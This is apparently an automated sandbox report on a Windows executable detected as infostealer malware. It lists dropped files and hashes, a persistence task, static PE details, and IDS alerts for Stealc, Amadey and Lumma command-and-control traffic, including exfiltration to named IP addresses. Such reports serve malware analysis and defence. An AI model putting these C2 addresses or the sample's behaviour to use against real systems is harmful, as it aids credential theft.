Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK...........@.................................W...k.......D...................\.K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...rodlpghq.....@1.....................@...uclczwpo......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\FCFBFHIEBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1894400
Entropy (8bit):	7.95046512837898
Encrypted:	false
SSDEEP:	49152:tF0POcmLblAtaLqXNaUW7XsqHdg5hvZLZK3PTm:tF0POcOblOaLOq7XsqHK/K/Tm
MD5:	48BBAE0E073AB8356B2A67806A19EDCC
SHA1:	2C25B8C83A21A17AA6B98CF0A2685BC60C515B34
SHA-256:	4A69C00BA0A6A4ED41144D21D0E76CA3449E8AC6B0AA3EC50A9347BDE8D35061
SHA-512:	8B6D632B401EAA56FE740F9933E59991D207DD7E0B013FD6DB483831873C2D56442BEEC81E94E90DAB8C6712E0811D3C0C78CB4F8030C30F3B7CC50B3D76270E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK...........@.................................W...k.......D...................\.K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...rodlpghq.....@1.....................@...uclczwpo......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\FCFBFHIEBK.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.382790074972643
Encrypted:	false
SSDEEP:	6:s3VXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB7llYut0:gf2RKQ1CGAFAjzvYRQVB7gut0
MD5:	86A621F576E7C250D77704D0C406BCF4
SHA1:	839ED1500235D8C2E0BDD536DD71B816DECFF982
SHA-256:	1A43A6C2FC411C90AE24FA9F8C26224776827B96494B272E0328357EAB020556
SHA-512:	EC563F449D1F2F6117CF7CB5399D3C6F7A01AA5667D3442DC758F9B855A5567BAA5C53968131E080C695E381DBCBAE6D519C0810969C7B0D3371002D86F2A153
Malicious:	false
Preview:	.....T....OO......$zF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................-.@3P.........................

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (793)
Category:	downloaded
Size (bytes):	798
Entropy (8bit):	5.170146987911004
Encrypted:	false
SSDEEP:	24:8WJBZ7m8U/BHslgT9lCuABuoB7HHHHHHHYqmffffffo:HJb68KKlgZ01BuSEqmffffffo
MD5:	E094C58C66EE6ED3DCE82ED8FB099F6E
SHA1:	015BE6CA3C19D4C87F39A4C737A9466DCB3B90F3
SHA-256:	A1554BBDDFDB52AFDF18B438E453D070DB388700DE0EE32D6559A12ACBA692BE
SHA-512:	C5C09D39B4A91AAF693E53E298DEA4A1A990C9B3639DFAF662A676809B78B88ECB278A0A017B9EF8943242AECBC6BA8CC2D5AC479A20550B91C5702B3B601A87
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["david sanders jr ohio state","zodiac signs daily horoscope today","airport stowaway delta flight","black ops double xp weekend","la clippers vs timberwolves box score","is arcane season 2 good","ripple xrp","thanksgiving day earthquakes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133000
Entropy (8bit):	5.435745377348817
Encrypted:	false
SSDEEP:	3072:fwkX3ioI5wrfFiC8jMbk/5xnR5pvsMTwR2i6o:fb3dDFqr/5xnR5pvrwR8o
MD5:	FC8F6AFA8E4388EBBADD0E2354AABB69
SHA1:	020200998CF1E07E48EEC9DFF9A631FCF5D2B0C3
SHA-256:	1774B2F02F7C29689315E6F6D7FA4CCF343F1DFC509F211F3C2C32D064FCC949
SHA-512:	4C50A4E4C5412EB822EA9911982A43D7FFE89B30644D3DCF1F6DFC894DE1816C507C5EBE8580A738290B7771929E1BD0BA2B5CDA4DBF7AE80C051D31DC41DF3B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946775774133505
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'811'968 bytes
MD5:	02f94f35b367a81b399909dcb6405ae0
SHA1:	e7b63473a5bd2328a39c69b9e1e52b5252c210c2
SHA256:	0aa6f768cc1ec17ce71f6cc67a83832eb772f7e5511f61717f4ac242a87e5c19
SHA512:	9d993d59d6d097894eaa90561cd5a03c5460a64393ecc3c470f0a2f805c1ee80fad31147a8691b9dda2581aad4b56138e10ec03fe9dd04311739aaef32282536
SSDEEP:	49152:odA/qI+zwZsjigy+Qgj+Irk1/cbOd/0tLfLX:hyTj3oIrk/cSdMj
TLSH:	1285334FDE3B1810D0DC0F7A9AA7228730B88DA95D8469763E8615760C9BD83F8D79DC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L.....Hg...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674897E8 [Thu Nov 28 16:18:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE0F4ED1A7Ah
je 00007FE0F4ED1A91h
add byte ptr [eax], al
jmp 00007FE0F4ED3A75h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	c669dffc343c954c737fca6dccd39d1d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	545a4287f0ccfa325c979b3fe92bc9cc	False	0.630859375	data	4.816208850342834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ac000	0x200	00c4d596d11c60f6bf94c5855e544038	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
drohdkwe	0x4f8000	0x1a1000	0x1a0800	07a1820dfe793eb3795fdd98ddae11c2	False	0.9946130796068428	data	7.955000725688909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
resqcpza	0x699000	0x1000	0x400	84dac4ef159fc37f122ef1440fff91ed	False	0.775390625	data	6.002970179247673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	c79ba6a44f70d573ec0d340e75779fd7	False	0.06778492647058823	DOS executable (COM)	0.7842485051337376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69848c	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-30T09:44:00.570968+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:01.021760+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:01.143497+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-30T09:44:01.473579+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:01.600812+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-30T09:44:03.029943+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:03.778603+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:18.913217+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:20.896450+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:22.309867+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:23.751628+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:27.504552+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:28.613560+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:34.550557+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.16	80	TCP
2024-11-30T09:45:04.768774+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49778	185.215.113.43	80	TCP
2024-11-30T09:45:09.334476+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49790	31.41.244.11	80	TCP
2024-11-30T09:45:19.172597+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49784	TCP
2024-11-30T09:45:20.570314+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49816	185.215.113.43	80	TCP
2024-11-30T09:45:22.134207+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	31.41.244.11	80	TCP
2024-11-30T09:45:29.472190+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49840	185.215.113.43	80	TCP
2024-11-30T09:45:31.015801+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49846	31.41.244.11	80	TCP
2024-11-30T09:45:42.454052+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49871	185.215.113.43	80	TCP
2024-11-30T09:45:43.931144+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49874	185.215.113.16	80	TCP
2024-11-30T09:45:49.537514+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49888	172.67.165.166	443	TCP
2024-11-30T09:45:50.344353+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49888	172.67.165.166	443	TCP
2024-11-30T09:45:50.344353+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49888	172.67.165.166	443	TCP
